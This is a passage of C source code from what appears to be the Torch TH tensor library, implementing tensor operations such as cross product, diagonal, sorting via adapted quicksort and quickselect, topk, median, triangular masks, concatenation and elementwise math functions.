THTensor_(nDimension)(a), THTensor_(nDimension)(b)); for(i = 0; i < THTensor_(nDimension)(a); i++) { if(THTensor_(size)(a, i) != THTensor_(size)(b, i)) { THDescBuff ba = THTensor_(sizeDesc)(a); THDescBuff bb = THTensor_(sizeDesc)(b); THError("inconsistent tensor sizes %s, %s", ba.str, bb.str); } } if(dimension < 0) { for(i = 0; i < THTensor_(nDimension)(a); i++) { if(THTensor_(size)(a, i) == 3) { dimension = i; break; } } if(dimension < 0) { THDescBuff ba = THTensor_(sizeDesc)(a); THError("no dimension of size 3 in a: %s", ba.str); } } THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(a), 3, "dimension %d out of range", dimension + TH_INDEX_BASE); THArgCheck(THTensor_(size)(a, dimension) == 3, 3, "dimension %d does not have size 3", dimension + TH_INDEX_BASE); THTensor_(resizeAs)(r_, a); TH_TENSOR_DIM_APPLY3(real, a, real, b, real, r_, dimension, r__data[0*r__stride] = a_data[1*a_stride]*b_data[2*b_stride] - a_data[2*a_stride]*b_data[1*b_stride]; r__data[1*r__stride] = a_data[2*a_stride]*b_data[0*b_stride] - a_data[0*a_stride]*b_data[2*b_stride]; r__data[2*r__stride] = a_data[0*a_stride]*b_data[1*b_stride] - a_data[1*a_stride]*b_data[0*b_stride];); } void THTensor_(cmax)(THTensor *r, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r, t); TH_TENSOR_APPLY3(real, r, real, t, real, src, *r_data = *t_data > *src_data ? *t_data : *src_data;); } void THTensor_(cmin)(THTensor *r, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r, t); TH_TENSOR_APPLY3(real, r, real, t, real, src, *r_data = *t_data < *src_data ? *t_data : *src_data;); } void THTensor_(cmaxValue)(THTensor *r, THTensor *t, real value) { THTensor_(resizeAs)(r, t); TH_TENSOR_APPLY2(real, r, real, t, *r_data = *t_data > value ? *t_data : value;); } void THTensor_(cminValue)(THTensor *r, THTensor *t, real value) { THTensor_(resizeAs)(r, t); TH_TENSOR_APPLY2(real, r, real, t, *r_data = *t_data < value ? *t_data : value;); } void THTensor_(zeros)(THTensor *r_, THLongStorage *size) { THTensor_(resize)(r_, size, NULL); THTensor_(zero)(r_); } void THTensor_(ones)(THTensor *r_, THLongStorage *size) { THTensor_(resize)(r_, size, NULL); THTensor_(fill)(r_, 1); } void THTensor_(diag)(THTensor *r_, THTensor *t, int k) { THArgCheck(THTensor_(nDimension)(t) == 1 || THTensor_(nDimension)(t) == 2, 1, "matrix or a vector expected"); if(THTensor_(nDimension)(t) == 1) { real *t_data = THTensor_(data)(t); long t_stride_0 = THTensor_(stride)(t, 0); long t_size = THTensor_(size)(t, 0); long sz = t_size + (k >= 0 ? k : -k); real *r__data; long r__stride_0; long r__stride_1; long i; THTensor_(resize2d)(r_, sz, sz); THTensor_(zero)(r_); r__data = THTensor_(data)(r_); r__stride_0 = THTensor_(stride)(r_, 0); r__stride_1 = THTensor_(stride)(r_, 1); r__data += (k >= 0 ? k*r__stride_1 : -k*r__stride_0); for(i = 0; i < t_size; i++) r__data[i*(r__stride_0+r__stride_1)] = t_data[i*t_stride_0]; } else { real *t_data = THTensor_(data)(t); long t_stride_0 = THTensor_(stride)(t, 0); long t_stride_1 = THTensor_(stride)(t, 1); long sz; real *r__data; long r__stride_0; long i; if(k >= 0) sz = THMin(THTensor_(size)(t, 0), THTensor_(size)(t, 1)-k); else sz = THMin(THTensor_(size)(t, 0)+k, THTensor_(size)(t, 1)); THTensor_(resize1d)(r_, sz); r__data = THTensor_(data)(r_); r__stride_0 = THTensor_(stride)(r_, 0); t_data += (k >= 0 ? k*t_stride_1 : -k*t_stride_0); for(i = 0; i < sz; i++) r__data[i*r__stride_0] = t_data[i*(t_stride_0+t_stride_1)]; } } void THTensor_(eye)(THTensor *r_, long n, long m) { real *r__data; long i, sz; THArgCheck(n > 0, 1, "invalid argument"); if(m <= 0) m = n; THTensor_(resize2d)(r_, n, m); THTensor_(zero)(r_); i = 0; r__data = THTensor_(data)(r_); sz = THMin(THTensor_(size)(r_, 0), THTensor_(size)(r_, 1)); for(i = 0; i < sz; i++) r__data[i*(r_->stride[0]+r_->stride[1])] = 1; } void THTensor_(range)(THTensor *r_, accreal xmin, accreal xmax, accreal step) { ptrdiff_t size; real i = 0; THArgCheck(step > 0 || step < 0, 3, "step must be a non-null number"); THArgCheck(((step > 0) && (xmax >= xmin)) || ((step < 0) && (xmax <= xmin)) , 2, "upper bound and larger bound incoherent with step sign"); size = (ptrdiff_t) (((xmax - xmin) / step) + 1); if (THTensor_(nElement)(r_) != size) { THTensor_(resize1d)(r_, size); } TH_TENSOR_APPLY(real, r_, *r__data = xmin + (i++)*step;); } void THTensor_(arange)(THTensor *r_, accreal xmin, accreal xmax, accreal step) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) int m = fmod(xmax - xmin,step) == 0; #else int m = (xmax - xmin) % step == 0; #endif if (m) xmax -= step; THTensor_(range)(r_,xmin,xmax,step); } void THTensor_(randperm)(THTensor *r_, THGenerator *_generator, long n) { real *r__data; long r__stride_0; long i; THArgCheck(n > 0, 1, "must be strictly positive"); THTensor_(resize1d)(r_, n); r__data = THTensor_(data)(r_); r__stride_0 = THTensor_(stride)(r_,0); for(i = 0; i < n; i++) r__data[i*r__stride_0] = (real)(i); for(i = 0; i < n-1; i++) { long z = THRandom_random(_generator) % (n-i); real sav = r__data[i*r__stride_0]; r__data[i*r__stride_0] = r__data[(z+i)*r__stride_0]; r__data[(z+i)*r__stride_0] = sav; } } void THTensor_(reshape)(THTensor *r_, THTensor *t, THLongStorage *size) { THTensor_(resize)(r_, size, NULL); THTensor_(copy)(r_, t); } /* I cut and pasted (slightly adapted) the quicksort code from Sedgewick's 1978 "Implementing Quicksort Programs" article http://www.csie.ntu.edu.tw/~b93076/p847-sedgewick.pdf It is the state of the art existing implementation. The macros are here to make as close a match as possible to the pseudocode of Program 2 p.851 Note that other partition schemes exist, and are typically presented in textbook, but those are less efficient. See e.g. http://cs.stackexchange.com/questions/11458/quicksort-partitioning-hoare-vs-lomuto Julien, November 12th 2013 */ #define MAX_LEVELS 300 #define M_SMALL 10 /* Limit for small subfiles */ #define ARR(III) arr[(III)*stride] #define IDX(III) idx[(III)*stride] #define LONG_SWAP(AAA, BBB) swap = AAA; AAA = BBB; BBB = swap #define REAL_SWAP(AAA, BBB) rswap = AAA; AAA = BBB; BBB = rswap #define ARR_SWAP(III, JJJ) \ REAL_SWAP(ARR(III), ARR(JJJ)); #define BOTH_SWAP(III, JJJ) \ REAL_SWAP(ARR(III), ARR(JJJ)); \ LONG_SWAP(IDX(III), IDX(JJJ)) static void THTensor_(quicksortascend)(real *arr, long *idx, long elements, long stride) { long beg[MAX_LEVELS], end[MAX_LEVELS], i, j, L, R, P, swap, pid, stack = 0, sz_right, sz_left; real rswap, piv; unsigned char done = 0; /* beg[0]=0; end[0]=elements; */ stack = 0; L = 0; R = elements-1; done = elements-1 <= M_SMALL; while(!done) { /* Use median of three for pivot choice */ P=(L+R)>>1; BOTH_SWAP(P, L+1); if (ARR(L+1) > ARR(R)) { BOTH_SWAP(L+1, R); } if (ARR(L) > ARR(R)) { BOTH_SWAP(L, R); } if (ARR(L+1) > ARR(L)) { BOTH_SWAP(L+1, L); } i = L+1; j = R; piv = ARR(L); pid = IDX(L); do { do { i = i+1; } while(ARR(i) < piv); do { j = j-1; } while(ARR(j) > piv); if (j < i) break; BOTH_SWAP(i, j); } while(1); BOTH_SWAP(L, j); /* Left subfile is (L, j-1) */ /* Right subfile is (i, R) */ sz_left = j-L; sz_right = R-i+1; if (sz_left <= M_SMALL && sz_right <= M_SMALL) { /* both subfiles are small */ /* if stack empty */ if (stack == 0) { done = 1; } else { stack--; L = beg[stack]; R = end[stack]; } } else if (sz_left <= M_SMALL || sz_right <= M_SMALL) { /* exactly one of the subfiles is small */ /* (L,R) = large subfile */ if (sz_left > sz_right) { /* Implicit: L = L; */ R = j-1; } else { L = i; /* Implicit: R = R; */ } } else { /* none of the subfiles is small */ /* push large subfile */ /* (L,R) = small subfile */ if (sz_left > sz_right) { beg[stack] = L; end[stack] = j-1; stack++; L = i; /* Implicit: R = R */ } else { beg[stack] = i; end[stack] = R; stack++; /* Implicit: L = L; */ R = j-1; } } } /* while not done */ /* Now insertion sort on the concatenation of subfiles */ for(i=elements-2; i>=0; i--) { if (ARR(i) > ARR(i+1)) { piv = ARR(i); pid = IDX(i); j = i+1; do { ARR(j-1) = ARR(j); IDX(j-1) = IDX(j); j = j+1; } while(j < elements && ARR(j) < piv); ARR(j-1) = piv; IDX(j-1) = pid; } } } static void THTensor_(quicksortdescend)(real *arr, long *idx, long elements, long stride) { long beg[MAX_LEVELS], end[MAX_LEVELS], i, j, L, R, P, swap, pid, stack = 0, sz_right, sz_left; real rswap, piv; unsigned char done = 0; /* beg[0]=0; end[0]=elements; */ stack = 0; L = 0; R = elements-1; done = elements-1 <= M_SMALL; while(!done) { /* Use median of three for pivot choice */ P=(L+R)>>1; BOTH_SWAP(P, L+1); if (ARR(L+1) < ARR(R)) { BOTH_SWAP(L+1, R); } if (ARR(L) < ARR(R)) { BOTH_SWAP(L, R); } if (ARR(L+1) < ARR(L)) { BOTH_SWAP(L+1, L); } i = L+1; j = R; piv = ARR(L); pid = IDX(L); do { do { i = i+1; } while(ARR(i) > piv); do { j = j-1; } while(ARR(j) < piv); if (j < i) break; BOTH_SWAP(i, j); } while(1); BOTH_SWAP(L, j); /* Left subfile is (L, j-1) */ /* Right subfile is (i, R) */ sz_left = j-L; sz_right = R-i+1; if (sz_left <= M_SMALL && sz_right <= M_SMALL) { /* both subfiles are small */ /* if stack empty */ if (stack == 0) { done = 1; } else { stack--; L = beg[stack]; R = end[stack]; } } else if (sz_left <= M_SMALL || sz_right <= M_SMALL) { /* exactly one of the subfiles is small */ /* (L,R) = large subfile */ if (sz_left > sz_right) { /* Implicit: L = L; */ R = j-1; } else { L = i; /* Implicit: R = R; */ } } else { /* none of the subfiles is small */ /* push large subfile */ /* (L,R) = small subfile */ if (sz_left > sz_right) { beg[stack] = L; end[stack] = j-1; stack++; L = i; /* Implicit: R = R */ } else { beg[stack] = i; end[stack] = R; stack++; /* Implicit: L = L; */ R = j-1; } } } /* while not done */ /* Now insertion sort on the concatenation of subfiles */ for(i=elements-2; i>=0; i--) { if (ARR(i) < ARR(i+1)) { piv = ARR(i); pid = IDX(i); j = i+1; do { ARR(j-1) = ARR(j); IDX(j-1) = IDX(j); j = j+1; } while(j < elements && ARR(j) > piv); ARR(j-1) = piv; IDX(j-1) = pid; } } } #undef MAX_LEVELS #undef M_SMALL void THTensor_(sort)(THTensor *rt_, THLongTensor *ri_, THTensor *t, int dimension, int descendingOrder) { THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "invalid dimension %d", dimension + TH_INDEX_BASE); THTensor_(resizeAs)(rt_, t); THTensor_(copy)(rt_, t); { THLongStorage *size = THTensor_(newSizeOf)(t); THLongTensor_resize(ri_, size, NULL); THLongStorage_free(size); } if(descendingOrder) { TH_TENSOR_DIM_APPLY2(real, rt_, long, ri_, dimension, long i; for(i = 0; i < ri__size; i++) ri__data[i*ri__stride] = i; THTensor_(quicksortdescend)(rt__data, ri__data, rt__size, rt__stride);) } else { TH_TENSOR_DIM_APPLY2(real, rt_, long, ri_, dimension, long i; for(i = 0; i < ri__size; i++) ri__data[i*ri__stride] = i; THTensor_(quicksortascend)(rt__data, ri__data, rt__size, rt__stride);) } } /* Implementation of the Quickselect algorithm, based on Nicolas Devillard's public domain implementation at http://ndevilla.free.fr/median/median/ Adapted similarly to the above Quicksort algorithm. This version does not produce indices along with values. */ static void THTensor_(quickselectnoidx)(real *arr, long k, long elements, long stride) { long P, L, R, i, j, swap; real rswap, piv; L = 0; R = elements-1; do { if (R <= L) /* One element only */ return; if (R == L+1) { /* Two elements only */ if (ARR(L) > ARR(R)) { ARR_SWAP(L, R); } return; } /* Use median of three for pivot choice */ P=(L+R)>>1; ARR_SWAP(P, L+1); if (ARR(L+1) > ARR(R)) { ARR_SWAP(L+1, R); } if (ARR(L) > ARR(R)) { ARR_SWAP(L, R); } if (ARR(L+1) > ARR(L)) { ARR_SWAP(L+1, L); } i = L+1; j = R; piv = ARR(L); do { do i++; while(ARR(i) < piv); do j--; while(ARR(j) > piv); if (j < i) break; ARR_SWAP(i, j); } while(1); ARR_SWAP(L, j); /* Re-set active partition */ if (j <= k) L=i; if (j >= k) R=j-1; } while(1); } /* Implementation of the Quickselect algorithm, based on Nicolas Devillard's public domain implementation at http://ndevilla.free.fr/median/median/ Adapted similarly to the above Quicksort algorithm. */ static void THTensor_(quickselect)(real *arr, long *idx, long k, long elements, long stride) { long P, L, R, i, j, swap, pid; real rswap, piv; L = 0; R = elements-1; do { if (R <= L) /* One element only */ return; if (R == L+1) { /* Two elements only */ if (ARR(L) > ARR(R)) { BOTH_SWAP(L, R); } return; } /* Use median of three for pivot choice */ P=(L+R)>>1; BOTH_SWAP(P, L+1); if (ARR(L+1) > ARR(R)) { BOTH_SWAP(L+1, R); } if (ARR(L) > ARR(R)) { BOTH_SWAP(L, R); } if (ARR(L+1) > ARR(L)) { BOTH_SWAP(L+1, L); } i = L+1; j = R; piv = ARR(L); pid = IDX(L); do { do i++; while(ARR(i) < piv); do j--; while(ARR(j) > piv); if (j < i) break; BOTH_SWAP(i, j); } while(1); BOTH_SWAP(L, j); /* Re-set active partition */ if (j <= k) L=i; if (j >= k) R=j-1; } while(1); } #undef ARR #undef IDX #undef LONG_SWAP #undef REAL_SWAP #undef BOTH_SWAP void THTensor_(mode)(THTensor *values_, THLongTensor *indices_, THTensor *t, int dimension, int keepdim) { THLongStorage *dim; THTensor *temp_; THLongTensor *tempi_; real *temp__data; long *tempi__data; long t_size_dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "dimension out of range"); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(values_, dim, NULL); THLongTensor_resize(indices_, dim, NULL); THLongStorage_free(dim); t_size_dim = THTensor_(size)(t, dimension); temp_ = THTensor_(new)(); THTensor_(resize1d)(temp_, t_size_dim); temp__data = THTensor_(data)(temp_); tempi_ = THLongTensor_new(); THLongTensor_resize1d(tempi_, t_size_dim); tempi__data = THLongTensor_data(tempi_); TH_TENSOR_DIM_APPLY3(real, t, real, values_, long, indices_, dimension, long i; real mode = 0; long modei = 0; long temp_freq = 0; long max_freq = 0; for(i = 0; i < t_size_dim; i++) temp__data[i] = t_data[i*t_stride]; for(i = 0; i < t_size_dim; i++) tempi__data[i] = i; THTensor_(quicksortascend)(temp__data, tempi__data, t_size_dim, 1); for(i = 0; i < t_size_dim; i++) { temp_freq++; if ((i == t_size_dim - 1) || (temp__data[i] != temp__data[i+1])) { if (temp_freq > max_freq) { mode = temp__data[i]; modei = tempi__data[i]; max_freq = temp_freq; } temp_freq = 0; } } *values__data = mode; *indices__data = modei;); THTensor_(free)(temp_); THLongTensor_free(tempi_); if (!keepdim) { THTensor_(squeeze1d)(values_, values_, dimension); THLongTensor_squeeze1d(indices_, indices_, dimension); } } void THTensor_(kthvalue)(THTensor *values_, THLongTensor *indices_, THTensor *t, long k, int dimension, int keepdim) { THLongStorage *dim; THTensor *temp_; THLongTensor *tempi_; real *temp__data; long *tempi__data; long t_size_dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "dimension out of range"); THArgCheck(k > 0 && k <= t->size[dimension], 2, "selected index out of range"); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(values_, dim, NULL); THLongTensor_resize(indices_, dim, NULL); THLongStorage_free(dim); t_size_dim = THTensor_(size)(t, dimension); temp_ = THTensor_(new)(); THTensor_(resize1d)(temp_, t_size_dim); temp__data = THTensor_(data)(temp_); tempi_ = THLongTensor_new(); THLongTensor_resize1d(tempi_, t_size_dim); tempi__data = THLongTensor_data(tempi_); TH_TENSOR_DIM_APPLY3(real, t, real, values_, long, indices_, dimension, long i; for(i = 0; i < t_size_dim; i++) temp__data[i] = t_data[i*t_stride]; for(i = 0; i < t_size_dim; i++) tempi__data[i] = i; THTensor_(quickselect)(temp__data, tempi__data, k - 1, t_size_dim, 1); *values__data = temp__data[k-1]; *indices__data = tempi__data[k-1];); THTensor_(free)(temp_); THLongTensor_free(tempi_); if (!keepdim) { THTensor_(squeeze1d)(values_, values_, dimension); THLongTensor_squeeze1d(indices_, indices_, dimension); } } void THTensor_(median)(THTensor *values_, THLongTensor *indices_, THTensor *t, int dimension, int keepdim) { long t_size_dim, k; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 3, "dimension out of range"); t_size_dim = THTensor_(size)(t, dimension); k = (t_size_dim-1) >> 1; /* take middle or one-before-middle element */ THTensor_(kthvalue)(values_, indices_, t, k+1, dimension, keepdim); } void THTensor_(topk)(THTensor *rt_, THLongTensor *ri_, THTensor *t, long k, int dim, int dir, int sorted) { int numDims = THTensor_(nDimension)(t); THArgCheck(dim >= 0 && dim < numDims, 3, "dim not in range"); long sliceSize = THTensor_(size)(t, dim); THArgCheck(k > 0 && k <= sliceSize, 2, "k not in range for dimension"); THTensor *tmpResults = THTensor_(new)(); THTensor_(resize1d)(tmpResults, sliceSize); real *tmp__data = THTensor_(data)(tmpResults); THLongTensor *tmpIndices = THLongTensor_new(); THLongTensor_resize1d(tmpIndices, sliceSize); long *tmpi__data = THLongTensor_data(tmpIndices); THLongStorage *topKSize = THTensor_(newSizeOf)(t); THLongStorage_set(topKSize, dim, k); THTensor_(resize)(rt_, topKSize, NULL); THLongTensor_resize(ri_, topKSize, NULL); THLongStorage_free(topKSize); if (dir) { /* k largest elements, descending order (optional: see sorted) */ long K = sliceSize - k; TH_TENSOR_DIM_APPLY3(real, t, real, rt_, long, ri_, dim, long i; for(i = 0; i < sliceSize; i++) { tmp__data[i] = t_data[i*t_stride]; tmpi__data[i] = i; } if (K > 0) THTensor_(quickselect)(tmp__data, tmpi__data, K - 1, sliceSize, 1); if (sorted) THTensor_(quicksortdescend)(tmp__data + K, tmpi__data + K, k, 1); for(i = 0; i < k; i++) { rt__data[i*rt__stride] = tmp__data[i + K]; ri__data[i*ri__stride] = tmpi__data[i + K]; }) } else { /* k smallest elements, ascending order (optional: see sorted) */ TH_TENSOR_DIM_APPLY3(real, t, real, rt_, long, ri_, dim, long i; for(i = 0; i < sliceSize; i++) { tmp__data[i] = t_data[i*t_stride]; tmpi__data[i] = i; } THTensor_(quickselect)(tmp__data, tmpi__data, k - 1, sliceSize, 1); if (sorted) THTensor_(quicksortascend)(tmp__data, tmpi__data, k - 1, 1); for(i = 0; i < k; i++) { rt__data[i*rt__stride] = tmp__data[i]; ri__data[i*ri__stride] = tmpi__data[i]; }) } THTensor_(free)(tmpResults); THLongTensor_free(tmpIndices); } void THTensor_(tril)(THTensor *r_, THTensor *t, long k) { long t_size_0, t_size_1; long t_stride_0, t_stride_1; long r__stride_0, r__stride_1; real *t_data, *r__data; long r, c; THArgCheck(THTensor_(nDimension)(t) == 2, 1, "expected a matrix"); THTensor_(resizeAs)(r_, t); t_size_0 = THTensor_(size)(t, 0); t_size_1 = THTensor_(size)(t, 1); t_stride_0 = THTensor_(stride)(t, 0); t_stride_1 = THTensor_(stride)(t, 1); r__stride_0 = THTensor_(stride)(r_, 0); r__stride_1 = THTensor_(stride)(r_, 1); r__data = THTensor_(data)(r_); t_data = THTensor_(data)(t); for(r = 0; r < t_size_0; r++) { long sz = THMin(r+k+1, t_size_1); for(c = THMax(0, r+k+1); c < t_size_1; c++) r__data[r*r__stride_0+c*r__stride_1] = 0; for(c = 0; c < sz; c++) r__data[r*r__stride_0+c*r__stride_1] = t_data[r*t_stride_0+c*t_stride_1]; } } void THTensor_(triu)(THTensor *r_, THTensor *t, long k) { long t_size_0, t_size_1; long t_stride_0, t_stride_1; long r__stride_0, r__stride_1; real *t_data, *r__data; long r, c; THArgCheck(THTensor_(nDimension)(t) == 2, 1, "expected a matrix"); THTensor_(resizeAs)(r_, t); t_size_0 = THTensor_(size)(t, 0); t_size_1 = THTensor_(size)(t, 1); t_stride_0 = THTensor_(stride)(t, 0); t_stride_1 = THTensor_(stride)(t, 1); r__stride_0 = THTensor_(stride)(r_, 0); r__stride_1 = THTensor_(stride)(r_, 1); r__data = THTensor_(data)(r_); t_data = THTensor_(data)(t); for(r = 0; r < t_size_0; r++) { long sz = THMin(r+k, t_size_1); for(c = THMax(0, r+k); c < t_size_1; c++) r__data[r*r__stride_0+c*r__stride_1] = t_data[r*t_stride_0+c*t_stride_1]; for(c = 0; c < sz; c++) r__data[r*r__stride_0+c*r__stride_1] = 0; } } void THTensor_(cat)(THTensor *r_, THTensor *ta, THTensor *tb, int dimension) { THTensor* inputs[2]; inputs[0] = ta; inputs[1] = tb; THTensor_(catArray)(r_, inputs, 2, dimension); } void THTensor_(catArray)(THTensor *result, THTensor **inputs, int numInputs, int dimension) { THLongStorage *size; int i, j; long offset; int maxDim = dimension + 1; int allEmpty = 1; int allContiguous = 1; // cat_dimension is the actual dimension we cat along int cat_dimension = dimension; for (i = 0; i < numInputs; i++) { maxDim = THMax(maxDim, inputs[i]->nDimension); } // When the user input dimension is -1 (i.e. -2 in C) // Then we pick the maximum last dimension across all tensors. if ( dimension + TH_INDEX_BASE == -1 ) { cat_dimension = maxDim?(maxDim-1):0; } THArgCheck(numInputs > 0, 3, "invalid number of inputs %d", numInputs); THArgCheck(cat_dimension >= 0, 4, "invalid dimension %d", dimension + TH_INDEX_BASE); size = THLongStorage_newWithSize(maxDim); for(i = 0; i < maxDim; i++) { // dimSize is either the size of the dim if it exists, either 1 if #dim > 0, otherwise 0 long dimSize = i < inputs[0]->nDimension ? inputs[0]->size[i] : THMin(inputs[0]->nDimension, 1); if (i == cat_dimension) { for (j = 1; j < numInputs; j++) { // accumulate the size over the dimension we want to cat on. // Empty tensors are allowed dimSize += i < inputs[j]->nDimension ? inputs[j]->size[i] : THMin(inputs[j]->nDimension, 1); } } else { for (j = 1; j < numInputs; j++) { long sz = (i < inputs[j]->nDimension ? inputs[j]->size[i] : THMin(inputs[j]->nDimension, 1)); // If it's a dimension we're not catting on // Then fail if sizes are different AND > 0 if (dimSize != sz && dimSize && sz) { THLongStorage_free(size); THError("inconsistent tensor sizes"); } else if(!dimSize) { dimSize = sz; } } } allEmpty = allEmpty && !dimSize; size->data[i] = dimSize; } // Initiate catting and resizing // If at least one of the input is not empty if (!allEmpty) { THTensor_(resize)(result, size, NULL); // Check contiguity of all inputs and result for (i = 0; i < numInputs; i++) { if(inputs[i]->nDimension) { allContiguous = allContiguous && THTensor_(isContiguous)(inputs[i]); } } allContiguous = allContiguous && THTensor_(isContiguous)(result); // First path is for contiguous inputs along dim 1 // Second path for non-contiguous if (cat_dimension == 0 && allContiguous) { real* result_data = result->storage->data + result->storageOffset; offset = 0; for (j = 0; j < numInputs; j++) { if (inputs[j]->nDimension) { THTensor* input0 = inputs[j]; real* input0_data = input0->storage->data + input0->storageOffset; long input0_size = THTensor_(nElement)(input0); memcpy(result_data + offset, input0_data, input0_size*sizeof(real)); offset += input0_size; } } } else { offset = 0; for (j = 0; j < numInputs; j++) { if (inputs[j]->nDimension) { long dimSize = cat_dimension < inputs[j]->nDimension ? inputs[j]->size[cat_dimension] : 1; THTensor *nt = THTensor_(newWithTensor)(result); THTensor_(narrow)(nt, NULL, cat_dimension, offset, dimSize); THTensor_(copy)(nt, inputs[j]); THTensor_(free)(nt); offset += dimSize; } } } } THLongStorage_free(size); } int THTensor_(equal)(THTensor *ta, THTensor* tb) { int equal = 1; if(!THTensor_(isSameSizeAs)(ta, tb)) return 0; if (THTensor_(isContiguous)(ta) && THTensor_(isContiguous)(tb)) { real *tap = THTensor_(data)(ta); real *tbp = THTensor_(data)(tb); ptrdiff_t sz = THTensor_(nElement)(ta); ptrdiff_t i; for (i=0; i<sz; ++i){ if(tap[i] != tbp[i]) return 0; } } else { // Short-circuit the apply function on inequality TH_TENSOR_APPLY2(real, ta, real, tb, if (equal && *ta_data != *tb_data) { equal = 0; TH_TENSOR_APPLY_hasFinished = 1; break; }) } return equal; } #define TENSOR_IMPLEMENT_LOGICAL(NAME,OP) \ void THTensor_(NAME##Value)(THByteTensor *r_, THTensor* t, real value) \ { \ THByteTensor_resizeNd(r_, t->nDimension, t->size, NULL); \ TH_TENSOR_APPLY2(unsigned char, r_, real, t, \ *r__data = (*t_data OP value) ? 1 : 0;); \ } \ void THTensor_(NAME##ValueT)(THTensor* r_, THTensor* t, real value) \ { \ THTensor_(resizeNd)(r_, t->nDimension, t->size, NULL); \ TH_TENSOR_APPLY2(real, r_, real, t, \ *r__data = (*t_data OP value) ? 1 : 0;); \ } \ void THTensor_(NAME##Tensor)(THByteTensor *r_, THTensor *ta, THTensor *tb) \ { \ THByteTensor_resizeNd(r_, ta->nDimension, ta->size, NULL); \ TH_TENSOR_APPLY3(unsigned char, r_, real, ta, real, tb, \ *r__data = (*ta_data OP *tb_data) ? 1 : 0;); \ } \ void THTensor_(NAME##TensorT)(THTensor *r_, THTensor *ta, THTensor *tb) \ { \ THTensor_(resizeNd)(r_, ta->nDimension, ta->size, NULL); \ TH_TENSOR_APPLY3(real, r_, real, ta, real, tb, \ *r__data = (*ta_data OP *tb_data) ? 1 : 0;); \ } \ TENSOR_IMPLEMENT_LOGICAL(lt,<) TENSOR_IMPLEMENT_LOGICAL(gt,>) TENSOR_IMPLEMENT_LOGICAL(le,<=) TENSOR_IMPLEMENT_LOGICAL(ge,>=) TENSOR_IMPLEMENT_LOGICAL(eq,==) TENSOR_IMPLEMENT_LOGICAL(ne,!=) #define LAB_IMPLEMENT_BASIC_FUNCTION(NAME, CFUNC) \ void THTensor_(NAME)(THTensor *r_, THTensor *t) \ { \ THTensor_(resizeAs)(r_, t); \ TH_TENSOR_APPLY2(real, t, real, r_, *r__data = CFUNC(*t_data);); \ } \ #define LAB_IMPLEMENT_BASIC_FUNCTION_VALUE(NAME, CFUNC) \ void THTensor_(NAME)(THTensor *r_, THTensor *t, real value) \ { \ THTensor_(resizeAs)(r_, t); \ TH_TENSOR_APPLY2(real, t, real, r_, *r__data = CFUNC(*t_data, value);); \ } \ #if defined(TH_REAL_IS_LONG) LAB_IMPLEMENT_BASIC_FUNCTION(abs,labs) #endif /* long only part */ #if defined(TH_REAL_IS_SHORT) || defined(TH_REAL_IS_INT) LAB_IMPLEMENT_BASIC_FUNCTION(abs,abs) #endif /* int only part */ #if defined(TH_REAL_IS_BYTE) #define TENSOR_IMPLEMENT_LOGICAL_SUM(NAME, OP, INIT_VALUE) \ int THTensor_(NAME)(THTensor *tensor) \ { \ THArgCheck(tensor->nDimension > 0, 1, "empty Tensor"); \ int sum = INIT_VALUE; \ TH_TENSOR_APPLY(real, tensor, sum = sum OP *tensor_data;); \ return sum; \ } TENSOR_IMPLEMENT_LOGICAL_SUM(logicalall, &&, 1) TENSOR_IMPLEMENT_LOGICAL_SUM(logicalany, ||, 0) #endif /* Byte only part */ /* floating point only now */ #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) #if defined (TH_REAL_IS_FLOAT) #define TH_MATH_NAME(fn) fn##f #else #define TH_MATH_NAME(fn) fn #endif LAB_IMPLEMENT_BASIC_FUNCTION(log,TH_MATH_NAME(log)) LAB_IMPLEMENT_BASIC_FUNCTION(lgamma,TH_MATH_NAME(lgamma)) LAB_IMPLEMENT_BASIC_FUNCTION(log1p,TH_MATH_NAME(log1p)) LAB_IMPLEMENT_BASIC_FUNCTION(sigmoid,TH_MATH_NAME(TH_sigmoid)) LAB_IMPLEMENT_BASIC_FUNCTION(exp,TH_MATH_NAME(exp)) LAB_IMPLEMENT_BASIC_FUNCTION(cos,TH_MATH_NAME(cos)) LAB_IMPLEMENT_BASIC_FUNCTION(acos,TH_MATH_NAME(acos)) LAB_IMPLEMENT_BASIC_FUNCTION(cosh,TH_MATH_NAME(cosh)) LAB_IMPLEMENT_BASIC_FUNCTION(sin,TH_MATH_NAME(sin)) LAB_IMPLEMENT_BASIC_FUNCTION(asin,TH_MATH_NAME(asin)) LAB_IMPLEMENT_BASIC_FUNCTION(sinh,TH_MATH_NAME(sinh)) LAB_IMPLEMENT_BASIC_FUNCTION(tan,TH_MATH_NAME(tan)) LAB_IMPLEMENT_BASIC_FUNCTION(atan,TH_MATH_NAME(atan)) LAB_IMPLEMENT_BASIC_FUNCTION(tanh,TH_MATH_NAME(tanh)) LAB_IMPLEMENT_BASIC_FUNCTION_VALUE(pow,TH_MATH_NAME(pow)) LAB_IMPLEMENT_BASIC_FUNCTION(sqrt,TH_MATH_NAME(sqrt)) LAB_IMPLEMENT_BASIC_FUNCTION(rsqrt,TH_MATH_NAME(TH_rsqrt)) LAB_IMPLEMENT_BASIC_FUNCTION(ceil,TH_MATH_NAME(ceil)) LAB_IMPLEMENT_BASIC_FUNCTION(floor,TH_MATH_NAME(floor)) LAB_IMPLEMENT_BASIC_FUNCTION(round,TH_MATH_NAME(round)) LAB_IMPLEMENT_BASIC_FUNCTION(abs,TH_MATH_NAME(fabs)) LAB_IMPLEMENT_BASIC_FUNCTION(trunc,TH_MATH_NAME(trunc)) LAB_IMPLEMENT_BASIC_FUNCTION(frac,TH_MATH_NAME(TH_frac)) LAB_IMPLEMENT_BASIC_FUNCTION(neg,-) LAB_IMPLEMENT_BASIC_FUNCTION(cinv, TH_MATH_NAME(1.0) / ) void THTensor_(atan2)(THTensor *r_, THTensor *tx, THTensor *ty) { THTensor_(resizeAs)(r_, tx); TH_TENSOR_APPLY3(real, r_, real, tx, real, ty, *r__data = 